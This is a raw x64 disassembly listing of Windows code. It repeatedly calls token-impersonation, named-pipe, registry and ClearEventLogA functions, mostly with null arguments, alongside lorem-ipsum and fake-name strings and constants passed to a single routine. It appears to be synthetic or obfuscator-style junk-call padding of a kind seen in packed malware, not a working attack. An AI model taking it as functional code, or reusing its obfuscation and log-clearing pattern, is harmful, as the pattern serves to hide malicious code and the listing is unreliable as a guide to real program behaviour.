mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
mov qword [rsp + 0x58], rax
call rax
mov rax, qword [0x004cbc80]
mov rdi, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
lea rcx, str.Iusto_repellendus_et_in_quaerat_sunt_eveniet_laborum_amet
mov dword [rax], 0xfaa121d1
mov rax, qword [0x004cc090]
mov edx, dword [rax]
mov rax, qword [0x004cc060]
mov dword [rax], edx
xor edx, edx
call rdi
mov rax, qword [0x004cc440]
mov r10, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cbdd0]
mov qword [rsp + 0x78], r10
mov dword [rax], edx
call r10
mov rax, qword [0x004cc470]
lea rcx, str.Fuga_et_sed
mov edx, dword [rax]
mov rax, qword [0x004cc4c0]
mov dword [rax], edx
xor edx, edx
call rdi
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004cc490]
lea rdx, str.Nihil_omnis_praesentium_alias_sit
lea rcx, str.In_magni_quia_eos_quis_non_magnam_inventore
mov dword [rax], 0x51506e38
mov rax, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov qword [rsp + 0x60], rax
call rax
xor edx, edx
lea rcx, str.MonroeAbernathy
call r12
mov r13, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
call r13
mov rax, qword [0x004cc1d0]
mov rdx, qword [0x004cbe20]
mov ecx, 0xd59c09db
mov eax, dword [rax]
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cbd00]
mov ecx, 0x4b82a07b
mov dword [rdx], eax
mov rax, qword [0x004cbda0]
mov dword [rax], 0x2435aac8
call fcn.00413350
mov rdx, qword [0x004cc3e0]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r13
mov rbp, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
call rbp
mov r11, qword [0x004cc350]
mov r15, qword [0x004cc0c0]
xor ecx, ecx
mov eax, dword [r11]
mov dword [r15], eax
mov rax, qword [0x004cbeb0]
mov dword [rax], 0x91ec4290
call rbp
mov rax, qword [0x004cc100]
mov rdx, qword [0x004cc470]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cc1f0]
mov edx, dword [rax]
mov rax, qword [0x004cbd30]
mov dword [rax], edx
mov rax, qword [0x004cc370]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc220]
mov ecx, 0xcb02f5f0
mov dword [rdx], eax
mov rax, qword [0x004cbcd0]
mov edx, dword [rax]
mov rax, qword [0x004cc380]
mov dword [rax], edx
call fcn.00413350
mov rdx, qword [0x004cc420]
mov ecx, 0x61fb0110
mov dword [rdx], eax
call fcn.00413350
mov r14, qword [0x004cc080]
xor edx, edx
xor ecx, ecx
lea r8, str.Dolores_dolores_quaerat_quibusdam_aperiam_repellendus_et_a_praesentium_quam_sed_itaque_id_qui
mov dword [r14], eax
mov rax, qword [0x004cbda0]
mov dword [rax], 0x4e11ebe2
call rsi
mov ecx, dword [r14]
call fcn.00413350
mov r9, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor edx, edx
xor ecx, ecx
xor r8d, r8d
mov dword [r15], eax
mov qword [rsp + 0x80], r9
call r9
mov rax, qword [0x004cbbe0]
mov rdx, qword [0x004cbe70]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cc0d0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc0a0]
mov dword [rdx], eax
mov rax, qword [0x004cc320]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbe50]
mov r14, qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
lea rcx, str.Corporis_perspiciatis_quaerat_nisi_fuga_suscipit_autem_rerum_pariatur_sint
mov dword [rdx], eax
lea rdx, str.Vel_nemo_quae_quia
call r14
xor ecx, ecx
call rbx
xor ecx, ecx
call rbx
mov rax, qword [0x004cbc70]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbc10]
mov ecx, 0x2a9760ab
mov dword [rdx], eax
mov rax, qword [0x004cc4d0]
mov dword [rax], 0x5c67252f
mov rax, qword [0x004cbed0]
mov dword [rax], 0xf4760ab2
call fcn.00413350
mov r8, qword [sym.imp.KERNEL32.dll_PurgeComm]
mov rdx, qword [0x004cc360]
xor ecx, ecx
mov qword [rsp + 0x70], r8
mov dword [rdx], eax
xor edx, edx
call r8
mov ecx, dword [r15]
mov rax, qword [0x004cc150]
mov dword [rax], 0x131b08ee
call fcn.00413350
mov rdx, qword [0x004cbd70]
mov r8, qword [rsp + 0x70]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r8
lea rdx, str.DrHazleWehnerPhD
lea rcx, str.JeffereyStokes
call r14
lea r8, str.Et_sit_dolorum_sed_aliquam
xor edx, edx
xor ecx, ecx
call rsi
mov ecx, 0x11e1cdf1
call fcn.00413350
mov rdx, qword [0x004cc3b0]
lea rcx, str.Omnis_itaque_aut_aut_laudantium_expedita
mov dword [rdx], eax
lea rdx, str.Velit_ducimus_ut_debitis_facere_occaecati_similique
mov rax, qword [rsp + 0x60]
call rax
mov rax, qword [0x004cc200]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc390]
mov dword [rax], edx
mov rax, qword [rsp + 0x68]
call rax
mov rax, qword [0x004cbee0]
mov rdx, qword [0x004cbda0]
xor ecx, ecx
mov dword [rax], 0x680c88e1
mov rax, qword [0x004cbe60]
mov eax, dword [rax]
mov dword [rdx], eax
call qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
call rbp
xor ecx, ecx
call rbp
mov r10, qword [rsp + 0x78]
xor ecx, ecx
call r10
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov r11, qword [0x004cc350]
mov ecx, 0x1542430b
mov rax, qword [0x004cbc80]
mov edx, dword [r11]
mov dword [rax], 0xb72dfc3b
mov rax, qword [0x004cbcc0]
mov dword [rax], edx
call fcn.00413350
mov rdx, qword [0x004cbd20]
lea rcx, str.MissKatlynBuckridgeIII
mov dword [rdx], eax
lea rdx, str.MrsKiaraAnderson
call r14
mov r9, qword [rsp + 0x80]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x70], r9
call r9
xor edx, edx
xor ecx, ecx
call r13
mov rax, qword [0x004cc320]
mov rdx, qword [0x004cc100]
xor ecx, ecx
mov dword [rax], 0x268fd17b
mov rax, qword [0x004cbea0]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cc3e0]
mov dword [rax], 0x66006171
call rbx
mov r15, qword [0x004cc170]
mov rax, qword [0x004cc3a0]
mov ecx, 0xb53eab8c
mov dword [r15], 0x498c7e82
mov dword [rax], 0x8a92f22d
call fcn.00413350
mov rdx, qword [0x004cbe40]
mov ecx, 0x5f0bec83
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cc0b0]
lea rcx, str.Et_illum_autem_id_aut_consectetur
mov dword [rdx], eax
mov rax, qword [0x004cc470]
xor edx, edx
mov dword [rax], 0xbed7f6e7
mov rax, qword [0x004cbcf0]
mov dword [rax], 0xf8942319
call rdi
mov ecx, 0xc69d80c8
call fcn.00413350
mov rdx, qword [0x004cc150]
lea rcx, str.DrKeatonJohnson
mov dword [rdx], eax
lea rdx, str.MrsSerenaJastIII
mov rax, qword [rsp + 0x60]
call rax
xor ecx, ecx
call rbp
xor ecx, ecx
call rbx
mov rax, qword [0x004cc1d0]
lea rdx, str.SophiaRoberts
lea rcx, str.Quia_quae_non_aut_provident
mov dword [rax], 0x2d5de94d
call r14
mov rax, qword [0x004cc180]
xor ecx, ecx
mov rdx, qword [0x004cc220]
mov r14, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
mov dword [rax], 0xa958dc44
mov rax, qword [0x004cbe20]
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
call r14
mov rax, qword [0x004cc0d0]
mov rbp, qword [0x004cbce0]
xor ecx, ecx
mov rdx, qword [0x004cc420]
mov eax, dword [rax]
mov dword [rbp], 0x67480273
mov dword [rdx], eax
xor edx, edx
call r13
xor ecx, ecx
call rbx
mov rax, qword [0x004cc4b0]
mov r13, qword [0x004cbde0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cbd40]
mov dword [rax], edx
mov rax, qword [0x004cc480]
mov rdx, qword [0x004cbcd0]
mov dword [rax], 0x41da7791
mov rax, qword [0x004cbe70]
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [r13]
lea rdx, str.Ut_labore_numquam_nihil_id_mollitia
mov dword [r15], eax
mov rax, qword [0x004cc240]
mov r15, qword [sym.imp.ADVAPI32.dll_ClearEventLogA]
mov dword [rax], 0x39d8fe2a
mov rax, qword [0x004cbc80]
mov dword [rax], 0xf4e6e2bf
call r15
mov rax, qword [0x004cbd20]
mov rdx, qword [0x004cc220]
lea rcx, str.Odit_culpa_aut_qui_itaque_itaque_soluta_aut_totam
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cc210]
xor edx, edx
mov dword [rax], 0x7e9ac219
call r12
mov ecx, 0x54264173
call fcn.00413350
mov r9, qword [rsp + 0x70]
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004cbe50]
mov dword [rdx], eax
xor edx, edx
call r9
xor ecx, ecx
lea rdx, str.Dolorem_non_minus_qui_sed_sit_aut_voluptatum
call r15
xor edx, edx
lea rcx, str.ChrisErnser
call r12
mov ecx, dword [rbp]
call fcn.00413350
mov rdx, qword [0x004cbe10]
lea r8, str.RaymondThompson
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rsi
mov r10, qword [rsp + 0x78]
xor ecx, ecx
call r10
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
mov ecx, 0x1b6b62e6
call fcn.00413350
mov rdx, qword [0x004cc460]
lea rcx, str.MissMarilouBeahan
mov dword [rdx], eax
mov rax, qword [0x004cbcd0]
mov edx, dword [rax]
mov rax, qword [0x004cc1e0]
mov dword [rax], edx
xor edx, edx
call rdi
mov ecx, 0x925a7ee9
call fcn.00413350
mov rdx, qword [0x004cc160]
mov dword [rdx], eax
mov rax, qword [0x004cbdf0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc0f0]
xor ecx, ecx
mov rbp, qword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
mov dword [rdx], eax
call rbp
xor edx, edx
xor ecx, ecx
call r14
xor ecx, ecx
call rbp
mov rax, qword [0x004cc340]
xor ecx, ecx
mov dword [rax], 0x3e148d72
call rbx
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
lea rdx, str.AnnieBergnaum
lea rcx, str.AlexandraUpton
mov rax, qword [rsp + 0x60]
call rax
lea r8, str.Impedit_soluta_consequatur_aut_autem_maiores_laborum_ducimus_totam_sed_culpa
xor edx, edx
xor ecx, ecx
call rsi
xor edx, edx
lea rcx, str.Quia_vitae_voluptas_molestiae
call rdi
mov rax, qword [0x004cc200]
mov dword [rax], 0xc41176d3
mov rax, qword [0x004cc1d0]
mov ecx, dword [rax]
call fcn.00413350
mov rbx, qword [0x004cbd70]
xor ecx, ecx
mov dword [rbx], eax
mov rax, qword [rsp + 0x68]
call rax
xor edx, edx
lea rcx, str.ProfJarredCollier
call rdi
mov ecx, 0x2a7c6bd3
call fcn.00413350
mov rdi, qword [0x004cc220]
mov ecx, 0xb847dbf2
mov dword [rdi], eax
call fcn.00413350
xor ecx, ecx
mov dword [r13], eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea r8, str.AdelineHartmann
xor edx, edx
xor ecx, ecx
call rsi
mov rax, qword [0x004cbe20]
mov dword [rax], 0x77cc6f3d
jmp 0x406cc6
cmp qword [rsp + 0x9a0], 0
je 0x406cc6
mov rax, qword [rsp + 0x9a0]
cmp byte [rax], 0
je 0x4064f1
jmp 0x407439
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x68], rax
mov rax, qword [0x004cc250]
cmp dword [rax], 0x5fb4
jne 0x409a9f
mov rax, qword [0x004cbbd0]
mov rbx, qword [0x004cc0e0]
xor ecx, ecx
mov r15, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov dword [rax], 0x437926e9
mov rax, qword [0x004cbd60]
mov dword [rbx], 0xaceb3ef2
mov dword [rax], 0xb462c6fa
call r15
mov rax, qword [0x004cc460]
mov rdi, qword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc3f0]
mov dword [rax], edx
mov rax, qword [0x004cc1a0]
mov dword [rax], 0x30633e69
call rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [0x004cbcc0]
mov rsi, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.LilyanHahn
lea rcx, str.Tenetur_fugiat_aut_expedita_in_est_culpa_atque_consequatur
mov dword [rax], 0x2af67e5a
call rsi
mov rax, qword [0x004cc060]
xor r8d, r8d
xor ecx, ecx
mov r9, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov rdx, qword [0x004cc1e0]
mov eax, dword [rax]
mov qword [rsp + 0x88], r9
mov dword [rdx], eax
xor edx, edx
call r9
mov rax, qword [0x004cc410]
mov rdx, qword [0x004cc0f0]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cc150]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc1f0]
mov ecx, 0xcada0e47
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cc440]
mov dword [rdx], eax
mov rax, qword [0x004cbc20]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc450]
mov dword [rdx], eax
mov rax, qword [0x004cc490]
mov dword [rax], 0x2276b7bc
mov rax, qword [0x004cbbe0]
mov edx, dword [rax]
mov rax, qword [0x004cbc50]
mov dword [rax], edx
mov rax, qword [0x004cbe30]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc100]
mov rbp, qword [sym.imp.ADVAPI32.dll_RegFlushKey]
xor ecx, ecx
mov dword [rdx], eax
call rbp
mov ecx, 0x452052a2
call fcn.00413350
mov rdx, qword [0x004cc1d0]
mov r10, qword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cc140]
mov qword [rsp + 0x60], r10
mov dword [rax], 0x19537e9b
call r10
mov r14, qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
xor edx, edx
lea rcx, str.JerrellLehner
call r14
mov rax, qword [0x004cc310]
xor ecx, ecx
mov dword [rax], 0x63318f46
mov rax, qword [sym.imp.KERNEL32.dll_GetFileType]
mov qword [rsp + 0x58], rax
call rax
lea r8, str.Aut_nisi_numquam_voluptate
xor edx, edx
xor ecx, ecx
mov r13, qword [sym.imp.KERNEL32.dll_OpenEventA]
call r13
mov ecx, 0x6dc749d7
call fcn.00413350
mov rdx, qword [0x004cbd90]
mov r12, qword [sym.imp.KERNEL32.dll_PurgeComm]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r12
mov rax, qword [0x004cbd00]
lea rdx, str.Magnam_nemo_aut_tenetur_officiis_qui_libero_molestias_quas_non
lea rcx, str.MicaelaHills
mov dword [rax], 0xaf17a0be
mov rax, qword [0x004cc1a0]
mov eax, dword [rax]
mov dword [rbx], eax
mov rbx, qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
call rbx
xor ecx, ecx
mov r10, qword [rsp + 0x60]
call r10
mov rax, qword [0x004cbda0]
mov dword [rax], 0xc2eab92d
mov rax, qword [0x004cbd20]
mov dword [rax], 0xeca9935a
mov rax, qword [0x004cbeb0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc450]
lea rcx, str.At_repudiandae_ea
mov dword [rdx], eax
lea rdx, str.RebekaDaugherty
call rsi
xor edx, edx
xor ecx, ecx
call r12
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, 0xf34c71cd
call fcn.00413350
mov rdx, qword [0x004cc3a0]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r12
lea r8, str.Consequuntur_accusantium_suscipit_animi_quia_consequatur_eligendi_molestiae_aut
xor edx, edx
xor ecx, ecx
call r13
xor edx, edx
lea rcx, str.AubreeTremblay
call r14
mov rax, qword [0x004cbe10]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc140]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [sym.imp.KERNEL32.dll_SetEvent]
mov qword [rsp + 0x60], rax
call rax
mov rax, qword [0x004cc240]
xor edx, edx
xor ecx, ecx
lea r8, str.Suscipit_qui_laboriosam
mov dword [rax], 0xda0c907d
call r13
mov r12, qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
xor edx, edx
xor ecx, ecx
call r12
mov rax, qword [0x004cc0f0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc080]
mov ecx, 0xab7da5e3
mov dword [rdx], eax
call fcn.00413350
mov r8, qword [sym.imp.KERNEL32.dll_SetCommBreak]
mov rdx, qword [0x004cc3c0]
xor ecx, ecx
mov qword [rsp + 0x70], r8
mov dword [rdx], eax
call r8
mov rax, qword [0x004cbe60]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbcb0]
lea rcx, str.DrakeStark
mov dword [rdx], eax
lea rdx, str.Minus_quis_est_temporibus_voluptas
call rbx
mov r11, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x80], r11
call r11
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
call rdi
xor ecx, ecx
call r15
mov rax, qword [0x004cbe20]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cbc30]
mov dword [rax], edx
xor edx, edx
call r12
mov rax, qword [0x004cbd20]
mov r8, qword [rsp + 0x70]
xor ecx, ecx
mov rbx, qword [0x004cbbe0]
mov eax, dword [rax]
mov qword [rsp + 0x78], r8
mov dword [rbx], eax
call r8
xor ecx, ecx
call rdi
mov rbx, qword [sym.imp.ADVAPI32.dll_ClearEventLogA]
lea rdx, str.Recusandae_eligendi_incidunt_dolor_fuga_ut_et
xor ecx, ecx
call rbx
mov r10, qword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
xor ecx, ecx
mov qword [rsp + 0x70], r10
call r10
mov r8, qword [rsp + 0x78]
xor ecx, ecx
call r8
mov rax, qword [0x004cc480]
xor r8d, r8d
xor edx, edx
mov r9, qword [rsp + 0x88]
xor ecx, ecx
mov dword [rax], 0x2ff9bb3b
mov rax, qword [0x004cc2f0]
mov dword [rax], 0x42172966
call r9
mov rax, qword [0x004cc050]
xor ecx, ecx
mov dword [rax], 0x7cd4f351
call r15
mov rax, qword [0x004cbed0]
xor edx, edx
xor ecx, ecx
mov r11, qword [rsp + 0x80]
mov dword [rax], 0xcedab529
mov rax, qword [0x004cbc80]
mov dword [rax], 0xc91b4664
call r11
mov rax, qword [0x004cc130]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc060]
xor ecx, ecx
mov dword [rdx], eax
lea rdx, str.AmariBatzPhD
call rbx
lea r8, str.Qui_aliquam_accusantium_sed_sint_voluptate_aut_distinctio_vel_sed
xor edx, edx
xor ecx, ecx
call r13
mov ecx, 0xc80a5e07
call fcn.00413350
mov r13, qword [0x004cc360]
mov r10, qword [rsp + 0x70]
xor ecx, ecx
mov dword [r13], eax
call r10
mov ecx, 0x72aceecd
call fcn.00413350
mov ecx, 0xcefdb38f
mov dword [r13], eax
mov rax, qword [0x004cc340]
mov dword [rax], 0xb2884ce3
call fcn.00413350
mov rdx, qword [0x004cc2e0]
mov r15, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
lea rcx, str.LisaWintheiser
mov dword [rdx], eax
mov rax, qword [0x004cc0d0]
mov rdx, qword [0x004cbe30]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cc3b0]
xor edx, edx
mov dword [rax], 0x6e27b21c
call r15
mov rax, qword [0x004cc1e0]
xor edx, edx
lea rcx, str.DrIsadoreKoelpinDDS
mov dword [rax], 0xb4c55c9e
call r14
mov rax, qword [0x004cc240]
mov rdx, qword [0x004cc0f0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cc4c0]
mov edx, dword [rax]
mov rax, qword [0x004cc120]
mov dword [rax], edx
call rbp
mov rax, qword [0x004cbd00]
mov ecx, 0x26d7f7f3
mov dword [rax], 0xe7b97102
call fcn.00413350
mov rdx, qword [0x004cc190]
mov ecx, 0x33924f2a
mov dword [rdx], eax
call fcn.00413350
mov r13, qword [0x004cbc70]
xor edx, edx
xor ecx, ecx
mov dword [r13], 0x89785c4f
call r12
lea rdx, str.DrSydneyDickinsonV
xor ecx, ecx
call rbx
mov rax, qword [0x004cc050]
mov r10, qword [rsp + 0x70]
xor ecx, ecx
mov dword [rax], 0xcbd72ba2
call r10
mov ecx, 0x415531a8
call fcn.00413350
mov rdx, qword [0x004cbbe0]
lea rcx, str.VivianneWildermanV
mov dword [rdx], eax
xor edx, edx
call r15
mov ecx, 0x8f06824d
call fcn.00413350
mov rdx, qword [0x004cbc20]
lea rcx, str.Rem_architecto_aut_est_molestias_aliquam
mov dword [rdx], eax
lea rdx, str.Porro_doloremque_sit_impedit_quod_animi_et_sit_et_et_odit_eum_vel_corporis
call rsi
xor edx, edx
xor ecx, ecx
call r12
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
mov r14, qword [0x004cbdf0]
mov rax, qword [0x004cc200]
mov ecx, 0x6212b62b
mov edx, dword [r14]
mov dword [rax], edx
call fcn.00413350
mov rdx, qword [0x004cc1b0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cc310]
mov edx, dword [rax]
mov rax, qword [0x004cc470]
mov dword [rax], edx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rax, qword [0x004cbc60]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbd50]
mov dword [rdx], eax
mov rax, qword [0x004cbd60]
mov eax, dword [rax]
mov dword [r13], eax
mov rax, qword [0x004cbd00]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbda0]
xor ecx, ecx
mov dword [rdx], eax
call rdi
xor ecx, ecx
call rbp
mov ecx, 0x84526328
call fcn.00413350
mov r12, qword [0x004cbcd0]
mov rdx, qword [0x004cbc10]
lea rcx, str.DouglasHayesII
mov dword [rdx], eax
lea rdx, str.Voluptas_illum_officia_voluptas_rerum
mov dword [r12], 0xe81bf6fc
call rsi
xor edx, edx
lea rcx, str.Exercitationem_occaecati_voluptatem_voluptatum_nesciunt_tempora
call r15
xor ecx, ecx
call rdi
mov rax, qword [0x004cbd20]
mov edx, dword [r12]
xor ecx, ecx
mov dword [rax], 0x204d6111
mov rax, qword [0x004cbce0]
mov dword [rax], edx
call rbp
mov rax, qword [0x004cc0a0]
lea rdx, str.MauriceKonopelski
xor ecx, ecx
mov dword [rax], 0x6d0e06f6
call rbx
mov ecx, 0xddee1e56
call fcn.00413350
lea rdx, str.Fugiat_voluptates_non_excepturi
lea rcx, str.JustonKihn
mov dword [r12], eax
call rsi
mov eax, dword [r14]
mov rsi, qword [0x004cbc20]
mov ecx, 0x9110d69a
mov dword [rsi], eax
call fcn.00413350
mov rdx, qword [0x004cbea0]
mov dword [rdx], eax
mov rax, qword [0x004cbd40]
mov ecx, dword [rax]
call fcn.00413350
mov rsi, qword [0x004cc410]
xor ecx, ecx
mov dword [rsi], eax
mov rax, qword [rsp + 0x60]
call rax
lea rdx, str.MistyDietrich
xor ecx, ecx
call rbx
jmp 0x409a9f
mov rax, qword [0x004cc250]
cmp dword [rax], 0x3d47
jne 0x407a08
mov rbx, qword [0x004cc3f0]
mov rsi, qword [0x004cc440]
mov rdx, qword [0x004cbee0]
mov rdi, qword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
mov eax, dword [rbx]
mov dword [rsi], eax
mov rax, qword [0x004cbe70]
mov ecx, dword [rax]
mov dword [rax], 0x60df4348
mov dword [rdx], ecx
xor ecx, ecx
call rdi
xor edx, edx
mov r14, qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
lea rcx, str.CliffordEichmann
call r14
mov rax, qword [0x004cbc50]
mov ecx, 0x85764ed8
mov dword [rax], 0x9ce148dc
call fcn.00413350
mov rdx, qword [0x004cbc20]
mov ecx, 0x2a0e2143
mov dword [rdx], eax
mov rax, qword [0x004cbec0]
mov edx, dword [rax]
mov rax, qword [0x004cc3d0]
mov dword [rax], edx
call fcn.00413350
mov rsi, qword [0x004cc1f0]
mov dword [rsi], eax
mov rax, qword [0x004cc090]
mov ecx, dword [rax]
call fcn.00413350
mov r15, qword [0x004cc420]
mov rsi, qword [0x004cc480]
mov edx, dword [r15]
mov dword [rsi], eax
mov rax, qword [0x004cbca0]
mov dword [rax], edx
mov rax, qword [0x004cbc90]
mov ecx, dword [rax]
call fcn.00413350
mov dword [rbx], eax
mov rax, qword [0x004cc090]
mov ecx, dword [rax]
call fcn.00413350
mov ecx, 0xb37afe30
mov dword [rbx], eax
call fcn.00413350
mov rsi, qword [0x004cbec0]
mov dword [rsi], eax
mov rax, qword [0x004cc110]
mov ecx, dword [rax]
call fcn.00413350
mov rsi, qword [0x004cc190]
mov r9, qword [0x004cc3e0]
xor ecx, ecx
lea r8, str.Voluptatem_dolores_animi_dicta_corporis_facilis
mov dword [rsi], eax
mov rax, qword [0x004cc410]
mov edx, dword [r9]
mov dword [rax], 0x83329ee5
mov rax, qword [0x004cc0b0]
mov dword [rax], edx
mov rax, qword [sym.imp.KERNEL32.dll_OpenEventA]
xor edx, edx
mov qword [rsp + 0x60], rax
call rax
mov rax, qword [sym.imp.ADVAPI32.dll_ClearEventLogA]
lea rdx, str.Vel_saepe_deserunt_architecto_sed_dolores_perspiciatis
xor ecx, ecx
mov qword [rsp + 0x58], rax
call rax
mov rax, qword [0x004cbec0]
mov rbp, qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
mov dword [rax], 0x151eb616
call rbp
mov r13, qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
lea rdx, str.ReedOHara
lea rcx, str.SandrineKub
call r13
mov r11, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.Quisquam_expedita_sequi_est_sapiente_quis_totam_quos
lea rcx, str.Quia_dicta_fugiat_libero_aut_dolor_dignissimos_alias
mov qword [rsp + 0x80], r11
call r11
mov r8, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor edx, edx
mov rax, qword [0x004cbd30]
lea rcx, str.TessieHegmann
mov qword [rsp + 0x70], r8
mov dword [rax], 0x8f5de743
call r8
xor ecx, ecx
call rdi
mov rax, qword [0x004cc490]
mov r12, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc2d0]
mov dword [rax], edx
call r12
mov rsi, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
call rsi
xor ecx, ecx
call rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextStreamW]
mov rbx, qword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
xor ecx, ecx
call rbx
mov rax, qword [0x004cc210]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x36f037a1
mov rax, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov qword [rsp + 0x68], rax
call rax
mov rax, qword [0x004cc0a0]
mov r10, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc460]
mov qword [rsp + 0x78], r10
mov dword [rax], edx
call r10
mov rax, qword [0x004cbd30]
mov edx, dword [r15]
xor ecx, ecx
mov dword [rax], 0x9af24bb8
mov rax, qword [0x004cbe80]
mov dword [rax], edx
call rbx
mov ecx, 0xe8740d82
call fcn.00413350
xor ecx, ecx
mov dword [r15], eax
mov rax, qword [0x004cbbf0]
mov dword [rax], 0x686ec24a
call rbx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [0x004cbed0]
lea rcx, str.Enim_recusandae_sequi_totam_repellat_consequatur
mov edx, dword [rax]
mov rax, qword [0x004cbd40]
mov dword [rax], edx
mov rax, qword [0x004cc360]
mov edx, dword [rax]
mov rax, qword [0x004cbcb0]
mov dword [rax], edx
xor edx, edx
call r14
lea rdx, str.EarlineAbbott
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004cc100]
mov dword [rax], 0xc1066f66
mov rax, qword [0x004cc450]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc4d0]
xor ecx, ecx
mov dword [rdx], eax
call rsi
mov rax, qword [0x004cbcf0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbc40]
xor ecx, ecx
mov dword [rdx], eax
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov ecx, 0xc8cb5004
call fcn.00413350
